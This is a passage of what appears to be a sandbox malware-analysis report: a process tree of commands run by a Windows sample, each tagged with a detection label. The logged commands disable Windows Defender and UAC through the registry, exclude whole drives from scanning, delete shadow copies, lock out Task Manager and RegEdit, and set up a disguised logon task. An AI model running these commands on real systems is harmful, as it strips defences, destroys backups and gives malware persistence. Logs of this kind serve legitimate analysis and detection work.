        setx PATH "C:\Users\systemrayxadmin;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI17882\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        14⤵
        
        PID:2376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        14⤵
        
        PID:3632
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        15⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        14⤵
        
        PID:3128
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        15⤵
        
        PID:6944
        
        C:\Windows\SYSTEM32\diskpart.exe
        
        diskpart
        14⤵
        
        PID:6628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        14⤵
        
        PID:7044
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        15⤵
        Modifies registry key
        
        PID:5844
        
        C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:2312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"CustomRestorePoint\" -RestorePointType \"MODIFY_SETTINGS\""
        14⤵
        
        PID:5572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        14⤵
        
        PID:6764
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        15⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        14⤵
        
        PID:1604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2260
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        15⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        14⤵
        
        PID:4876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        14⤵
        
        PID:1968
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        15⤵
        
        PID:6332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        10⤵
        
        PID:4976
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        11⤵
        
        PID:1968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        10⤵
        
        PID:1052
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        11⤵
        UAC bypass
        Modifies registry key
        
        PID:3356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
        10⤵
        
        PID:4564
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
        11⤵
        Modifies registry key
        
        PID:4704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        10⤵
        
        PID:1956
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        11⤵
        UAC bypass
        Modifies registry key
        
        PID:3980
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        10⤵
        
        PID:2876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:984
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:4256
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        10⤵
        Disables cmd.exe use via registry modification
        
        PID:3392
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        10⤵
        
        PID:4744
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        11⤵
        Modifies registry key
        
        PID:6732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        10⤵
        
        PID:3304
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        10⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        10⤵
        
        PID:924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        10⤵
        
        PID:4724
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:4672
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        11⤵
        Enumerates processes with tasklist
        
        PID:3148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        10⤵
        
        PID:6192
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        10⤵
        
        PID:4864
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        10⤵
        
        PID:7096
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        10⤵
        
        PID:5516
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        10⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5808
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        10⤵
        
        PID:7132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        10⤵
        
        PID:5380
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        10⤵
        
        PID:4680
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        10⤵
        
        PID:5948
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        10⤵
        
        PID:4820
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        10⤵
        
        PID:3532
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        10⤵
        
        PID:6224
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        10⤵
        
        PID:1440
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        10⤵
        
        PID:6932
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        10⤵
        
        PID:1764
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        10⤵
        
        PID:6200
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        10⤵
        
        PID:3796
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        10⤵
        
        PID:6124
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        10⤵
        
        PID:1736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        10⤵
        
        PID:3816
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        11⤵
        Kills process with taskkill
        
        PID:5372
        
        C:\Windows\SYSTEM32\setx.exe
        
        setx PATH "C:\Users\systemrayxadmin;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI17882\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        10⤵
        
        PID:5808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        10⤵
        
        PID:6132
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        10⤵
        
        PID:4552
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        11⤵
        
        PID:2848
        
        C:\Windows\SYSTEM32\diskpart.exe
        
        diskpart
        10⤵
        
        PID:5692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        10⤵
        
        PID:5804
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        11⤵
        
        PID:2284
        
        C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:7148
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:7008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"CustomRestorePoint\" -RestorePointType \"MODIFY_SETTINGS\""
        10⤵
        
        PID:3280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        10⤵
        
        PID:1552
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        10⤵
        
        PID:6712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5548
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        11⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        10⤵
        
        PID:3424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        10⤵
        
        PID:5832
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        11⤵
        
        PID:5824
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        6⤵
        
        PID:3112
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        7⤵
        
        PID:4000
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:2828
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        Modifies registry key
        
        PID:4256
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
        6⤵
        
        PID:3452
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
        7⤵
        Modifies registry key
        
        PID:2976
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:3636
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        
        PID:3376
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        6⤵
        
        PID:3604
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3368
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        6⤵
        Disables cmd.exe use via registry modification
        
        PID:4672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1372
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        6⤵
        
        PID:1984
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:840
      - C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3264
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        6⤵
        
        PID:792
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:6740
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1008
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6176
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        6⤵
        
        PID:6408
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        6⤵
        
        PID:6832
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:7156
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        6⤵
        
        PID:3148
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        6⤵
        
        PID:5192
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        6⤵
        
        PID:5240
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5280
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        6⤵
        
        PID:5352
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5516
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        6⤵
        
        PID:5540
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5628
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        6⤵
        
        PID:5800
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4332
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        6⤵
        
        PID:5284
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5416
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        6⤵
        
        PID:5864
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        6⤵
        
        PID:6496
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        7⤵
        Kills process with taskkill
        
        PID:3368
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users" /grant %username%:F"
        6⤵
        
        PID:4508
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users" /grant Admin:F
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2072
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\rayx\starter.exe" /sc onlogon /f"
        6⤵
        
        PID:4392
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\rayx\starter.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\rayx" /deny *S-1-1-0:(D)"
        6⤵
        
        PID:7164
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\rayx" /deny *S-1-1-0:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\rayx" /deny *S-1-5-32-544:(D)"
        6⤵
        
        PID:7024
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\rayx" /deny *S-1-5-32-544:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1508
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\rayx" /deny *S-1-5-32-545:(D)"
        6⤵
        
        PID:6416
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\rayx" /deny *S-1-5-32-545:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7136
      - C:\Windows\SYSTEM32\setx.exe
        
        setx PATH "C:\Users\systemrayxadmin;C:\Users\Admin\AppData\Local\Temp\_MEI12642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI17882\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        6⤵
        
        PID:6372
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        6⤵
        
        PID:1484
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1564
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:5116
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        7⤵
        Modifies registry key
        
        PID:5692
      - C:\Windows\SYSTEM32\diskpart.exe
        
        diskpart
        6⤵
        
        PID:5628
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        6⤵
        
        PID:7132
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        Disables RegEdit via registry modification
        Modifies registry key
        
        PID:792
      - C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:2300
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        6⤵
        
        PID:5964
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"CustomRestorePoint\" -RestorePointType \"MODIFY_SETTINGS\""
        6⤵
        
        PID:6300
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        6⤵
        
        PID:6580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5016
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5940
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        6⤵
        
        PID:5680
      - C:\Windows\system32\cmd.exe
        
